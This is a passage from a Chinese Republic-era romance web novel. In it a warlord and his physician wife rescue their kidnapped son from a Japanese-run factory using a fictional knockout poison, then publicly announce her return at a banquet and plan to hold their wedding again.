她伸出手,掌心向上,声音虽然颤抖,却异常坚定。
“什么?”陆淮锦愣住了。
“弹壳。”
沈晚清盯着他还在滴血的手,“把团圆留下的弹壳给我。”
陆淮锦下意识地松开手。那枚沾着他鲜血的金弹壳,落入了沈晚清素白的手心。
沈晚清没有哭。她从口袋里掏出手帕,一点一点,细致地擦去弹壳上陆淮锦的血迹,直到露出弹壳原本的光泽,以及上面沾染的一层不易察觉的污垢。
“陆淮锦,看着我。”
沈晚清抬起头,那双眼睛里燃烧着名为“母亲”的烈火,足以燎原。
“他们**孩子,是为了要挟你,是为了让你签**条约。在目的达到之前,团圆是他们手里唯一的筹码,也是最安全的护身符。”
“所以,现在不许慌,不许乱。”
她反手握住陆淮锦冰凉的大手,用力捏紧,仿佛要将自己的力量传递给他:
“你是北城的大帅,是团圆的大英雄。你要是乱了,谁去救我们的儿子?”
这一番话,如同一针强心剂,瞬间扎进了陆淮锦混乱的大脑。
是啊。
他是修罗战神。越是危急时刻,越要冷静。
陆淮锦深吸一口气,眼底的赤红渐渐退去,取而代之的是极致的森寒。
“你说得对。”
他反握住沈晚清的手,“我不慌。我们一起救儿子。”
“你看这个。”
沈晚清将那枚擦干净的弹壳举到灯光下,指着弹壳底部一圈黑色的污渍。
“这是团圆在被抓走前扯下来的。上面沾了东西。”
她把弹壳凑到鼻尖,轻轻嗅了嗅。作为一名神医,她对气味有着异于常人的敏感度。
“这不是普通的煤灰。”
沈晚清的眉头紧锁,大脑飞速运转,“除了**产生的**味,还有一股很淡、但很刺鼻的味道……像是硫磺,又混合着一种……”
她顿了顿,眼神突然一亮:
“**!还有未提纯的红磷!”
“**?红磷?”陆淮锦眉头紧皱,“这是制毒或者制药的东西?”
“对!”
沈晚清肯定地说道,“这种红磷的气味很特殊,通常只有在提炼某种西药……或者是制造某种**的时候才会用到。而且这味道很新鲜,说明绑匪身上,或者绑匪的车上,长期接触这些东西。”
“运煤车……垃圾车……”
陆淮锦立刻联想到了宋虎汇报的情况,“绑匪是伪装成清洁工或者运货工混进学校的。如果他们长期接触这些化学品……”
他猛地转身,冲到墙上的那幅巨大的北城防务地图前。
“北城哪里有这种地方?”
他的手指在地图上飞快移动,最后停在了城北的一片工业区。
“这里!”
陆淮锦的手指重重地点在一个位置上——大东亚制药厂。
“这是日本人半年前开的药厂,表面上生产仁丹和感冒药,但我一直怀疑这是黑龙会的一个据点!”
“而且……”
宋虎此时也满头大汗地跑了进来,手里拿着一份刚查到的线索:“大帅!查到了!学校后门监查到的那辆运送泔水的卡车,车牌虽然是假的,但车轮印上的泥土里混有特殊的红土!这种土,只有城北那家日本药厂附近才有!”
线索闭环了!
“砰!”
陆淮锦一拳砸在地图上,“果然是这群杂碎!”
“集合队伍!把重炮营拉出来!老子要轰平那个药厂!”
“慢着!”
沈晚清突然出声喝止。
“不能强攻。”
她走到陆淮锦身边,看着地图上那个红圈,“那个药厂地形复杂,而且如果这真的是黑龙会的据点,里面一定有密室或者地牢。一旦你大军压境,狗急跳墙的松井一定会拿团圆做人质,甚至同归于尽。”
“那怎么办?难道要我眼睁睁看着?”陆淮锦急得青筋暴起。
“智取。”
沈晚清的目光落在地图的一角,那里标示着一条废弃的
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地下排水系统。
“我这三年在柳镇,为了给穷人看病,经常去这种三教九流的地方采药。我知道这种老式工厂的构造。”
她指着药厂后方的一条虚线:
“这个药厂的前身是前清的**局。为了防潮和运输,地下有一条直通护城河的排水通道。日本人接手后,虽然改建了地上部分,但地下的排水系统他们不一定全都封**,或者……这正是他们运送**的秘密通道。”
沈晚清抬起头,直视陆淮锦的双眼:
“淮锦,我们来演一出‘空城计’。”
“空城计?”
“对。”
沈晚清眼中闪烁着智慧的光芒,这一刻的她,与那个运筹帷幄的少帅并肩而立,毫不逊色。
“你带着大部队在正面佯攻,吸引他们的注意力,让他们以为你已经失去了理智,只想复仇。”
“而我们,带几个身手最好的精锐,从这条地下通道潜进去。”
“我去过很多药厂,我闻得出那种化学品的味道,我能找到关押团圆的地方。”
陆淮锦看着她。
那个曾经柔弱的、需要他保护的妻子,此刻却像一棵坚韧的橡树,撑起了这个摇摇欲坠的家。
“太危险了。”
陆淮锦下意识地拒绝,“地下通道情况不明,万一……”
“没有万一。”
沈晚清打断了他,伸手整理了一下他凌乱的衣领,就像以前每一次送他出征那样。
“我是医生,我能处理突发状况。而且……”
她顿了顿,眼底闪过一丝决绝:
“那是我的儿子。如果不去,我才会死。”
“我们夫妻同心,就没有过不去的坎。”
陆淮锦看着她坚定的眼神,沉默了三秒。
然后,他用力地点了点头,一把将她拥入怀中,狠狠地抱了一下,随即松开。
“好。”
“夫妻同心,其利断金。”
陆淮锦转身,拔出腰间的配枪,咔哒一声上膛,周身杀气暴涨。
“宋虎!”
“到!”
“传我命令!第一师包围大东亚药厂!声势造得越大越好!给我架起大炮,对着大门轰!”
“你,挑五个身手最好的暗卫,带上防毒面具和**。”
陆淮锦回头,看向那个已经开始收拾急救包和银针的沈晚清,嘴角勾起一抹嗜血的冷笑:
“走,夫人。”
“我们去接儿子回家。”
第130章 空城计
“轰!轰!轰!”
三发重型**炮带着刺耳的呼啸声,精准地轰击在药厂那两扇厚重的铁大门上。
火光冲天,碎石飞溅。
巨大的冲击波震碎了方圆几百米内的所有玻璃。
“给我打!狠狠地打!”
宋虎站在一辆指挥车上,手里挥舞着驳壳枪,红着眼睛怒吼,“大帅有令!今天就是把这药厂夷为平地,也要把小少爷救出来!”
在他身后,陆家军第一师的精锐部队已经架起了**阵地,密集的**如暴雨般倾泻向药厂的岗楼。
看起来,这就像是一场失去理智的、不计后果的疯狂报复。
药厂主楼,三楼办公室。
松井石根站在窗帘后,看着楼下那被炮火吞噬的大门,嘴角勾起一抹得意的狂笑。
“哈哈哈哈!陆淮锦果然是个莽夫!”
他放下望远镜,转身对身后的毒蝎说道:
“他急了!他越急,就说明那个小崽子对他越重要!”
“传令下去!把所有的守卫力量,全部调到前门和围墙!”
松井眼中闪烁着疯狂的光芒,“只要我们顶住这一波攻击,等天一黑,我们就拿那个孩子当肉盾,逼陆淮锦在停战协议上签字!到时候,整个北城都是我们的!”
“嗨!”毒蝎领命,“我这就去调人!那个地下实验室只有一个入口,只要守住上面,这只**老虎就算有通天的本事也进不来!”
随着松井的一声令下,药厂内部的兵力开始大规模向正门集结。
原本戒备森严的后方和地下区域,正如沈晚清预料的那样,防御力量正在迅速被抽空。
这是一出为日本人精心准备的“空城计”。
而真正的杀招,正在地底深处悄然逼近。
……
药厂后方,废弃排污口。
杂草丛生的河滩边,一个隐蔽的铸铁井盖被缓缓推开。
一股令人作呕的腐臭味扑面而来。
“就是这里。”
沈晚清率先跳了下去,脚踩在没过脚踝的污泥里,却连眉头都没皱一下。
陆淮锦紧随其后,虽然他那身昂贵的定制衬衫瞬间被蹭上了污渍,但他的注意力完全不在自己身上。
“小心,地滑。”
他打开手电筒,光束照亮了这条幽深、潮湿且布满蜘蛛网的地下通道。
通道里不仅有污泥,还有不知名的化学废液,散发着刺鼻的气味。偶尔有几只硕大的老鼠受到惊吓,吱吱叫着从他们脚边窜过。
“怕吗?”
陆淮锦上前一步,将沈晚清护在身后,一手**,一手紧紧牵着她。
“不怕。”
沈晚清从怀里掏出两块浸过药水的湿布,递给陆淮锦一块,“把口鼻捂上。这里的空气有毒,虽然不致命,但吸多了会头晕。”
陆淮锦接过湿布系在脸上,只露出一双锐利如鹰的眼睛。
“你带路,我**。”
这一刻,两人之间不需要过多的语言。
沈晚清点了点头,凭借着记忆和那敏锐的嗅觉,在这个迷宫般的地下世界里穿行。
“往左。”
走到一个岔路口时,沈晚清停下脚步,指着左边那条看起来更加阴暗的通道,“那边的硫磺味更重,风向也是从那边过来的。实验室需要通风,逆风走准没错。”
陆淮锦看着她专注的侧脸,心中涌起一股难以言喻的骄傲与心疼。
三年前,她就是靠着这股韧劲,在乱世中护住了他们的孩子。
如今,这股韧劲成了刺向敌人的利剑。
“好。”
两人带着五名精锐暗卫,如同幽灵般在地下通道中快速推进。
头顶上方,隐约能听到沉闷的**声和密集的**。那是宋虎在为他们争取时间。
“到了。”
约莫走了二十分钟,沈晚清突然停下脚步,熄灭了手电筒。
前方出现了一扇生锈的铁栅栏门,门后透出一丝昏黄的灯光。
而在那灯光的尽头,隐隐传来了对话声,那是日语。
“……前面打得真激烈啊,
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咱们还要在这里守着这扇破门,真晦气。”“少废话,松井阁下说了,里面的东西比那个小崽子还重要,是‘神风’计划的关键……”
陆淮锦眼神一冷,握紧了手中的枪,刚要示意暗卫强行破门。
一只冰凉的小手按住了他的手腕。
沈晚清冲他摇了摇头,指了指铁栅栏上方那个正在嗡嗡作响的通风扇。
她凑到陆淮锦耳边,用只有两个人能听到的声音说道:
“别开枪。里面可能有大量的易燃化学品,一旦走火,团圆就危险了。”
“而且,**会惊动上面的人。”
陆淮锦眉头紧锁,用眼神询问:那怎么办?
沈晚清没有说话。
她从随身的急救包里,取出了一个密封的小瓷瓶,又拿出一根极细的银管。
在那昏暗的地下光影中,她的眼神冷静得可怕,就像是一个正在配药的死神。
她指了指那个通风口,又指了指那个小瓷瓶,做了一个“吹”的动作。
陆淮锦瞬间明白了。
他看着妻子手中那个看似不起眼的小瓷瓶,瞳孔微微收缩。
那是——毒。
医者仁心,既能救人,亦能**。
沈晚清不仅是名医,更是深谙药理的毒医。
陆淮锦点了点头,做了一个手势。
身后的一名暗卫立刻半蹲下身,搭好人梯。
沈晚清轻盈地踩着暗卫的肩膀,像一只无声的壁虎,攀上了通风口。
她透过扇叶的缝隙,看到了铁门后的景象——
那是一个巨大的地下空间,摆满了各种玻璃器皿和管线。
而在最里面的角落里,有一个铁笼子。
笼子里,那个小小的身影正蜷缩成一团,生死不知。
看到那一幕,沈晚清的心脏猛地抽痛,杀意在这一瞬间达到了顶峰。
她拔掉瓷瓶的塞子,将银管插入通风口,对准了那两个正在抽烟闲聊的日本守卫。
风,将带着死亡气息的粉末,无声无息地送了进去。
第131章 神经毒素
地下通道的通风口处,死一般的寂静。
沈晚清像是一只蛰伏的猎手,屏住呼吸,手中的那根银管微微倾斜。
瓷瓶里那看似无害的淡青色粉末,顺着通风扇旋转的气流,无声无息地飘散进了那个灯火通明的地下空间。
那不是普通的**。
那是她在柳镇三年,为了防备仇家,遍试百草,用曼陀罗花粉、提纯的箭毒木汁液,混合了一种挥发性极强的致幻草药,研制出的独门秘方——“醉生梦死”。
不需要吞服,只需要吸入一点点,甚至接触到皮肤,就能在十秒内阻断人的神经传导,让人在美梦中失去对身体的控制权。
“十……九……八……”
沈晚清在心里默数。
铁栅栏门内。
那两个原本还在抽烟聊天的日本守卫,突然觉得眼前的景象变得有些模糊。
“喂……井上君,你的脸怎么……怎么扭曲了?”
其中一个守卫晃了晃脑袋,想要伸手去揉眼睛,却惊恐地发现,自己的手臂像是灌了铅一样沉重,根本抬不起来。
“我……我的腿……”
另一个守卫想要站起来,膝盖却一软,整个人不受控制地向前栽倒。
“啪嗒。”
手中的**掉在地上。
紧接着是两声闷响。两个大活人就像是被抽走了骨头的一滩烂泥,瘫软在地上。他们的眼睛还睁着,瞳孔涣散,嘴角甚至还挂着诡异的、仿佛在做美梦般的微笑,却发不出一丝声音。
甚至连那条趴在笼子边的狼狗,也只是呜咽了一声,便趴在地上不动了。
“成了。”
沈晚清收起银管,从通风口跳了下来,落地无声。
“动手。”
陆淮锦眼底闪过一丝惊艳与震撼。他一直以为自己的妻子只是医术高明,没想到用起毒来,竟如此霸道且悄无声息。
这简直比千军万马还要可怕。
“咔嚓。”
一名精通开锁的暗卫上前,仅用了三秒钟就打开了那扇生锈的铁栅栏门。
一行人如幽灵般潜入。
空气中弥漫着一股淡淡的甜香味,那是毒粉残留的味道。大家戴着沈晚清特制的湿布面罩,并不受影响。
陆淮锦没有管那些瘫倒的守卫,他的目光第一时间锁定了角落里的那个大铁笼。
笼子里,小团圆蜷缩在冰冷的铁板上,小西装上沾满了灰尘,双眼紧闭,一动不动。
“团圆!”
陆淮锦的心脏猛地缩紧,他不顾一切地冲过去,双手抓住铁笼的栏杆,用力一扯。
“崩——”
那手腕粗的铁锁链,竟然被他在极度的焦急与肾上腺素爆发下,硬生生地扯断了锁扣!
铁笼门被拉开。
陆淮锦颤抖着手,探向儿子的鼻息。
温热的。呼吸平稳。
只是昏睡过去了。
“呼……”陆淮锦浑身紧绷的肌肉瞬间松弛下来,一种劫后余生的虚脱感让他差点跪倒在地。
“没事,是**。”
沈晚清也冲了过来,快速检查了一下孩子的瞳孔和脉搏,“只是吸入了过量的**,睡一觉就好,没受伤。”
她一把抱住失而复得的儿子,眼泪瞬间决堤,却不敢哭出声,只是死死地把脸贴在孩子满是灰尘的小脸上。
“啪、啪、啪。”
就在这时,一阵突兀的掌声从实验室的阴影深处传来。
“精彩,真是精彩。”
“没想到大名鼎鼎的陆大帅,不仅会打仗,还娶了位用毒的高手做夫人。”
众**惊,立刻举枪对准声音的来源。
只见在一排巨大的玻璃储气罐后面,走出了一个穿着白大褂、戴着防毒面具的男人。他手里并没有拿枪,而是拿着一个红色的遥控器,另一只手把玩着一个打火机。
是“毒蝎”。
那个黑龙会的高级间谍。
显然,他因为一直在摆弄化学品,戴着防毒面具,所以侥幸躲过了沈晚清的“神经毒素”。
“别动。”
毒蝎狞笑着,大拇指按在遥控器的按钮上,“我知道你们枪法快。但在你们开枪之前,我就能引爆这里。”
他指了指身边的那些储气罐:
“这里面装的,可是高浓度的芥子气和易燃气体。只要我一按,或者把打火机扔过去……”
“咱们大家,包括这可爱的小少爷,就都得变成灰烬。”
陆淮锦抱着孩子的手猛地收紧,眼神冰冷如刀:
“你想怎么样?”
“很简单。”
毒蝎透过防毒面具的护目镜,贪婪地盯着陆淮锦,“陆大帅,放下枪,让你的人退出去。然后……你在那份‘胶济铁路转让协议’上签字。”
“只要你签了,我就放你们一家三口走。”
陆淮锦冷笑一声:“你觉得我会信日本人的鬼话?”
“你没得选!”
毒蝎咆哮道,情绪显得异常激动,“现在你的命在我手里!我数三声!三!二……”
就在这千钧一发之际。
一直沉默不语的沈晚清,突然向前迈了一步,挡在了陆淮锦和孩子身前。
她摘下了
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脸上的湿布面罩,露出一张绝美却冷漠的脸。
“毒蝎是吧?”
她看着那个戴着防毒面具的男人,嘴角突然勾起一抹诡异的弧度:
“你以为,戴着防毒面具,就能防住我的毒吗?”
毒蝎一愣:“什么意思?”
“‘醉生梦死’,最霸道的地方不在于吸入。”
沈晚清缓缓抬起手,指了指毒蝎并没有被防护服完全遮盖的脖颈皮肤,那里有一小块裸露在外。
“它可以通过皮肤毛孔渗透。”
“你刚才……是不是觉得脖子有点痒?”
听到这句话,毒蝎的瞳孔剧烈收缩。
心理暗示是一种可怕的东西。原本他没感觉,但沈晚清一说,他立刻觉得脖子上奇痒无比,仿佛有千万只蚂蚁在爬。
“你……你诈我!”
毒蝎慌了,下意识地想要伸手去挠,但又不敢松开遥控器。
“是不是觉得手指发麻?视线开始重影?”
沈晚清的声音如同魔咒,一步步逼近,“那是神经毒素已经侵入大脑了。三秒钟后,你会失去对双手的控制。”
“三。”
“二。”
“八嘎!**吧!”毒蝎彻底崩溃了,大吼一声就要按下引爆器。
然而。
就在他的大脑下达指令的那一瞬间,他的大拇指却像是突然断了信号一样,僵硬地停在半空中,怎么按都按不下去。
真的是麻痹!
“一。”
沈晚清话音落下的瞬间。
“砰!”
一声沉闷的枪响。
陆淮锦怀里抱着孩子,单手**,根本不需要瞄准。
一颗**精准地射穿了毒蝎拿着遥控器的手腕。
“啊——!!”
遥控器落地。
与此同时,早已蓄势待发的暗卫如猎豹般冲了上去,一脚踢飞了地上的遥控器和打火机,然后几把刺刀同时架在了毒蝎的脖子上。
“你输了。”
沈晚清走到瘫软在地的毒蝎面前,居高临下地看着他。
其实,她的毒透过皮肤起效并没有那么快,刚才那一席话,更多的是心理战,是为了诱发他的恐慌,迟滞他的动作。
而在生死博弈中,这一秒的迟疑,就足以致命。
“把他绑了!”
陆淮锦走过来,眼神森寒,“带回去,我要让他知道,动我儿子是什么下场。”
他低头看了一眼怀里安然无恙的小团圆,又看了一眼身边那个智勇双全的妻子。
大手一挥,气势如虹:
“撤!把这里炸了!”
第132章 营救成功
地下实验室里,那个被五花大绑、塞住嘴巴的“毒蝎”,正被暗卫像拖死狗一样拖向出口。
而陆淮锦并没有急着走。
他抱着还在昏睡的小团圆,站在那个巨大的、装满易燃化学品的储藏区前,眼神冰冷得像是在看一群蝼蚁。
“大帅,**都安好了。”
一名暗卫汇报道,“连同那个秘密通道,一共十六个爆破点。只要一引爆,这里的地基会彻底坍塌,连一只老鼠都跑不出去。”
“很好。”
陆淮锦转过身,一只手抱着儿子,另一只手牵起沈晚清的手。
“走。别脏了我们的鞋。”
……
五分钟后。药厂外围安全区。
宋虎正急得像热锅上的蚂蚁,在那辆指挥车旁来回踱步。正门的战斗已经接近尾声,日本人虽然拼死抵抗,但在重炮营的轰击下早已溃不成军。但他最担心的,还是从后方潜入的大帅和夫人。
“出来了!大帅出来了!”
突然,负责观察的哨兵兴奋地大喊。
所有人齐刷刷地看向那个废弃的河滩方向。
夕阳的余晖下,芦苇荡被风吹得沙沙作响。
陆淮锦身姿挺拔,怀里护着孩子,身边跟着一身素衣却难掩风华的沈晚清。两人并肩而行,身后跟着押解着俘虏的暗卫。
他们身上虽然沾染了污泥和硝烟,但在这一刻,却仿佛是从炼狱中归来的战神与神女,浑身散发着一种令人不敢直视的光芒。
“敬礼——!!”
宋虎眼眶一红,嘶吼着下令。
“哗啦!”
数千名陆家军将士齐刷刷地立正,举枪敬礼。那排山倒海的气势,震得周围的空气都在颤抖。
陆淮锦停下脚步,回头看了一眼那座还在冒着黑烟的药厂大楼。
那是黑龙会在北城经营了数年的心血,是他们企图控制这片土地的罪恶巢穴。
“送他们上路。”
陆淮锦淡淡地吐出四个字。
“是!”
负责爆破的工兵猛地按下了**。
“轰——!!!”
“轰隆隆——!!!”
一连串沉闷而剧烈的**声从地底深处传来。大地开始剧烈震颤,仿佛发生了七级地震。
紧接着,那个看似坚固的制药厂主楼,在地基被毁的情况下,像是积木一样轰然倒塌。滚滚浓烟伴随着冲天的火光,瞬间吞噬了一切。
什么松井石根,什么生化武器,什么阴谋诡计。
在绝对的力量面前,统统化为灰烬。
看着那腾空而起的蘑菇云,沈晚清下意识地往陆淮锦怀里缩了缩。陆淮锦伸出手,捂住了小团圆的耳朵,同时也把妻子揽入怀中。
“结束了。”
他在她耳边低语,“以后北城,再也没有黑龙会。”
……
北城,帅府听涛苑。
当晚,七点。
虽然外面全城**,正在进行最后的大清洗,但帅府内却早已备好了压惊的安神汤和热水。
卧房里,暖黄色的灯光驱散了所有的寒意。
“唔……”
躺在床上的小团圆终于动了动,长长的睫毛颤抖着,缓缓睁开了眼睛。
入眼是熟悉的帐幔,还有那两张凑在他面前、满是关切的脸。
“娘……爹爹……”
小团圆迷迷糊糊地揉了揉眼睛,记忆还停留在那个可怕的麻袋和黑暗中,“那个坏人……那个坏叔叔要把我带走……”
“没事了,团圆不怕。”
沈晚清一把抱住儿子,眼泪止不住地流,“爹和娘把你救回来了。坏人已经被打跑了。”
“真的吗?”
小团圆吸了吸鼻子,有些委屈地摸向自己的脖子,随即小嘴一扁,眼泪汪汪:
“可是……可是我的项链没了……那是爹爹送我的金**……”
那是他最宝贝的东西,是他当“小英雄”的证明。
“在这里。”
一只大手伸了过来。
陆淮锦坐在床边,掌心里躺着那枚虽然被清洗过、但依然有些划痕的金弹壳。
“这是爹爹在战场上捡回来的。”
陆淮锦亲手将项链重新挂回儿子的脖子上,语气郑重而温柔:
“团圆,你今天做得很棒。你咬了坏人,留下了线索,才让爹娘找到了你。”
“这枚弹壳上有伤痕,就像战士身上的伤疤一样。”
“这是你勇敢的勋章。”
“勋章?
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”小团圆眼睛亮了,刚才的委屈瞬间烟消云散,挺起小胸脯,“我是勇敢的战士!我没有哭!”
“对,你是陆家的种,是最勇敢的。”
陆淮锦摸了摸儿子的头,然后转头看向沈晚清。
两人相视一笑。
这一刻,经历了生死的洗礼,这个家才算是真正地完整了。
……
深夜,书房。
安顿好妻儿睡下后,陆淮锦并没有休息。
他坐在宽大的书桌后,手里拿着一份刚刚拟定好的名单,那是需要彻底清洗的汉奸和残余势力。
“大帅。”
宋虎走了进来,神色凝重,“毒蝎已经招了。他们这次**小少爷,是受了南方某位军阀的默许,想逼您在胶济铁路问题上让步。”
“哼。”
陆淮锦冷笑一声,将手中的钢笔重重地拍在桌上,“想逼我低头?他们做梦。”
“宋虎。”
“在!”
“传我的令。”陆淮锦站起身,走到窗前,看着窗外那轮皎洁的明月,眼中闪烁着前所未有的坚定光芒。
“三天后,四月五日。”
“我要在帅府举办一场最盛大的宴会。”
“我要宴请北六省所有的督军、名流,还有各国领事。”
宋虎一愣:“大帅,咱们刚经历过这种事,现在办宴会是不是太仓促了?而且……名义是什么?”
“名义?”
陆淮锦转过身,嘴角勾起一抹霸气至极的笑容:
“名义就是——”
“陆家少帅,正式向全天下介绍他的正妻沈晚清,以及陆家唯一的继承人,陆念清。”
“我要让所有人都知道,沈晚清没死。她不仅活着,还是我陆淮锦这辈子唯一的女人。”
“谁敢再动她们娘俩一根手指头,今天的药厂,就是他们的下场!”
宋虎听得热血沸腾,猛地一个立正:
“是!属下这就去办!保证办得风风光光,震动全国!”
风起云涌。
随着这场危机的解除,一直隐藏在暗处的沈晚清母子,终于要站在聚光灯下。
那个曾经被传“尸骨无存”的传奇女子,即将以王者的姿态,重新回到属于她的舞台。
第133章 公开身份
今夜的帅府,灯火辉煌,亮如白昼。
无数辆挂着各国旗帜的豪车和军用吉普将整条大街堵得水泄不通。北六省的督军、政府要员、各国领事,以及那些削尖了脑袋想往帅府里钻的名媛贵妇,全都盛装出席。
虽然陆大帅只说是“家宴”,但谁都嗅到了不寻常的气息。
前几日大东亚药厂的惊天**还历历在目,坊间传闻那是大帅冲冠一怒为红颜。今天这场宴会,所有人的目光都聚焦在那个传说中的“红颜”身上。
“哎,你们听说了吗?大帅带回来的那个女人,长得跟三年前死去的少夫人一模一样!”“切,长得像有什么用?充其量就是个替身,是个姨太太。正室的位置,大帅可是发誓要留给亡妻的。”“就是,一个乡下来的野郎中,若是真让她登堂**,那咱们这些名门闺秀的脸往哪搁?”
几个穿着洋装、手持羽毛扇的名媛聚在香槟塔旁,语气酸溜溜地议论着。
就在这时,宴会厅那两扇沉重的雕花大门被卫兵缓缓推开。
“陆大帅到——!!”
“陆夫人到——!!”
“小少爷到——!!”
伴随着副官高亢的通报声,原本嘈杂的宴会厅瞬间安静下来,所有人的目光齐刷刷地投向二楼那蜿蜒而下的旋转楼梯。
那一刻,时间的流速仿佛变慢了。
走在最前面的,是陆淮锦。
他今日没有穿戎装,而是穿了一身黑色的中山装,剪裁得体,衬得他身姿挺拔如松。去掉了军装的肃杀,多了几分儒雅与沉稳,但那双鹰隼般的眸子依然让人不敢直视。
而挽着他手臂的女人,更是让全场倒吸一口凉气。
那是沈晚清。
她没有穿那些名媛们为了争奇斗艳而穿的袒胸露背的洋装,也没有穿那种显得小家子气的改良旗袍。
她穿的是一件正红色的苏绣旗袍。
那是只有正室原配在最隆重的场合才能穿的颜色。旗袍上用金线绣着展翅欲飞的凤凰,领口和袖口滚着精致的云纹。那一头长发被盘成雍容的云鬓,插着一支在此刻灯光下熠熠生辉的凤头金钗——那是陆家祖传的、象征着当家主母权力的信物。
她微微抬着下巴,神色淡然,目光清冷而从容。那种从骨子里透出来的尊贵与气场,瞬间将楼下那些涂脂抹粉的名媛们秒杀成了庸脂俗粉。
而在两人中间,牵着一个小小的身影。
小团圆穿着一套白色的小燕尾服,脖子上戴着那枚金弹壳项链,虽然还是个粉团子,但那走路带风的架势,活脱脱就是个缩小版的陆淮锦。
“天哪……那是凤头钗!”“那不是替身!那就是沈晚清本人!”“她没死?!她真的没死?!”
人群中爆发出一阵压抑不住的惊呼声。
陆淮锦带着妻儿,一步步走下楼梯,如同王者巡视他的领地。
他感受到了周围那些探究、震惊甚至嫉妒的目光,但他毫不在意。他只是侧过头,宠溺地看了一眼身边的沈晚清,仿佛在说:别怕,我在。
沈晚清回以一个温柔的微笑。
既然回来了,既然决定重新开始,她就不会再退缩。她是陆淮锦的妻子,是这个家的女主人,这个位置,谁也抢不走。
三人走到宴会厅中央的高台上。
陆淮锦松开沈晚清的手,上前一步,拿起了麦克风。
全场肃静。
“诸位。”
陆淮锦的声音低沉有力,通过扩音器回荡在每一个角落。
“今天请大家来,不谈国事,只谈家事。”
他转过身,向着沈晚清伸出手。沈晚清大方地走上前,将手放入他的掌心。
“这三年,外界有很多关于陆某家事的传闻。”
陆淮锦握紧了妻子的手,目光扫视全场,眼神逐渐变得锐利:
“有人说我陆淮锦克妻,有人说我为了一个替身疯魔。”
“今天,我就在这里,给全天下一个交代。”
他一把将沈晚清揽入怀中,当着北六省所有权贵的面,一字一顿地宣布:
“站在我身边的这位,不是什么柳姨太,也不是什么替身。”
“她叫沈晚清。是我陆淮锦明媒正娶、拜过天地高堂的发妻。”
“三年前,因为战乱,为了陆某的安危,她忍辱负重,流落在外。如今,苍天有眼,让我陆家破镜重圆。”
说到这里,他顿了顿,语气中带上了一丝不容置疑的霸道与杀气:
“从今往后,见她如见我。”
“在这北六省,沈晚清的话,就是我陆淮锦的军令。”
“谁若是敢对她不敬,或者在背后嚼舌根……”
陆淮锦冷笑一声,那笑意让人背脊发凉,“大东亚药厂的废墟,就是前车之鉴。”
“哗——”
台下掌声雷动。不管真心还是假意,此刻所有人都拼命鼓掌。那些之前说过闲话的名媛们更是吓得脸色苍白,恨不得找个地缝钻进去。
“还有。”
陆淮锦抱起脚边的小团圆,高高举起:
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“这是犬子,陆念清。”
“念念不忘,必有回响。”
“他是我陆淮锦唯一的嫡长子,也是这帅府未来的主人。”
小团圆并不怯场,他在众人的注视下,学着父亲的样子,挥了挥小手,奶声奶气地喊道:
“大家好!我是陆念清!我爹是英雄,我娘是神医!”
“哈哈哈哈!”
全场爆发出善意的哄笑声。
气氛瞬间从肃杀变得热烈。
接下来的宴会,成了沈晚清的主场。
各国领事夫人围着她,惊叹于她的医术和气质;那些督军太太们更是众星捧月般地巴结着她,一口一个“大帅夫人”叫得亲热无比。
沈晚清应对自如,不卑不亢。她用这三年在市井中磨砺出的通透与智慧,轻松驾驭了这个名利场。
角落里。
陆淮锦端着酒杯,靠在柱子上,目光始终追随着那个在人群中闪闪发光的红色身影。
“大帅,您这眼珠子都快粘在夫人身上了。”宋副官走过来,调侃道。
“好看吗?”陆淮锦问,语气里满是炫耀。
“好看!夫人那是国色天香,母仪天下!”宋副官狂拍马屁。
“那是。”
陆淮锦抿了一口酒,眼底尽是温柔与满足,“这么好的媳妇,是我陆淮锦求来的。”
他放下酒杯,整理了一下衣领,像是做出了什么重大决定。
“宋虎。”
“在!”
“你不觉得……虽然人都回来了,名分也定了,但总觉得还差点什么吗?”
宋副官一愣:“差点什么?这不是都公开了吗?”
陆淮锦看着远处那个穿着红旗袍的背影,想起了当年那场因为战乱而略显仓促、且如今看来并不吉利的婚礼。
“差一场婚礼。”
陆淮锦摩挲着手指上的婚戒,眼中燃烧着名为“补偿”的火焰:
“一场风风光光、十里红妆,没有任何遗憾的盛世婚礼。”
“我要让全天下都知道,我陆淮锦要把她重新娶进门,哪怕她已经是我的老婆了。”
宋副官嘴角抽了抽:“大帅,您这是要……二婚?”
“滚!这叫补办!”
陆淮锦瞪了他一眼,随即又看向沈晚清,眼神变得炽热起来。
今晚,是个好机会。
不如就在这万众瞩目的时刻,再求一次婚?
然而,此时沉浸在社交疲惫中的沈晚清并不知道,那个精力过剩的男人,又在给她憋什么“大招”了。
第134章 补办婚礼
送走了最后一位宾客,喧嚣了一整晚的帅府终于恢复了宁静。
卧房里,暖黄色的灯光温柔地流淌。
沈晚清觉得自己快要散架了。
她踢掉了那双折磨了她一晚上的高跟鞋,整个人毫无形象地瘫软在贵妃榻上。那件华丽的正红色旗袍虽然美,但勒得她腰酸背痛,头上的凤头金钗更是沉甸甸地压得她脖子疼。
“累**……”
她闭着眼睛,发出了一声长长的叹息,“以后这种宴会,打死我也不参加了。比做十台手术还累。”
“辛苦了,夫人。”
一双温热的大手适时地搭上了她的肩膀,力度适中地揉捏起来。
陆淮锦脱去了外套,只穿着一件白衬衫,袖口挽起,正殷勤地充当着按摩师的角色。
“力度怎么样?重不重?”他凑到她耳边,讨好地问道。
“嗯……左边一点,对,就是那里。”
沈晚清舒服地哼哼了两声,像只慵懒的猫。
陆淮锦一边按摩,一边看着镜子里那个即使一脸倦容也难掩风华的妻子,心里那股子被宴会气氛烘托起来的冲动愈发强烈。
“晚晚。”
“嗯?”
“你看咱们今天这‘认亲宴’办得这么成功,大家都知道你回来了。”
陆淮锦清了清嗓子,试探性地开口:
“但是吧,光有个宴会,我觉得还是不够正式。”
“不够正式?”
沈晚清困得眼皮都在打架,迷迷糊糊地问,“那还要怎样?登报声明?不是已经登了吗?”
“不是那个意思。”
陆淮锦停下按摩的手,绕到她面前蹲下,握住她的手,眼神亮晶晶的:
“我是想……咱们补办一场婚礼吧。”
“什么?”
沈晚清以为自己听错了,勉强睁开一只眼睛看着他,“你说什么?”
“婚礼啊!”
陆淮锦越说越兴奋,开始比划起来:
“当年的婚礼太仓促了,而且后来……又不吉利。这次我要给你最好的!”
“我要让全北城挂满红绸,我要用十六人抬的大花轿去接你,我要把咱们从帅府到教堂的路铺满玫瑰花!”
“还要请最好的西洋乐队,还要放三天三夜的烟花……”
陆淮锦沉浸在自己的宏伟蓝图中,完全没注意到沈晚清的脸越来越黑,眼里的困意也变成了无语。
“打住。”
沈晚清无情地抽回了自己的手,翻了个身背对着他。
“陆大帅,你是嫌我不够累吗?”
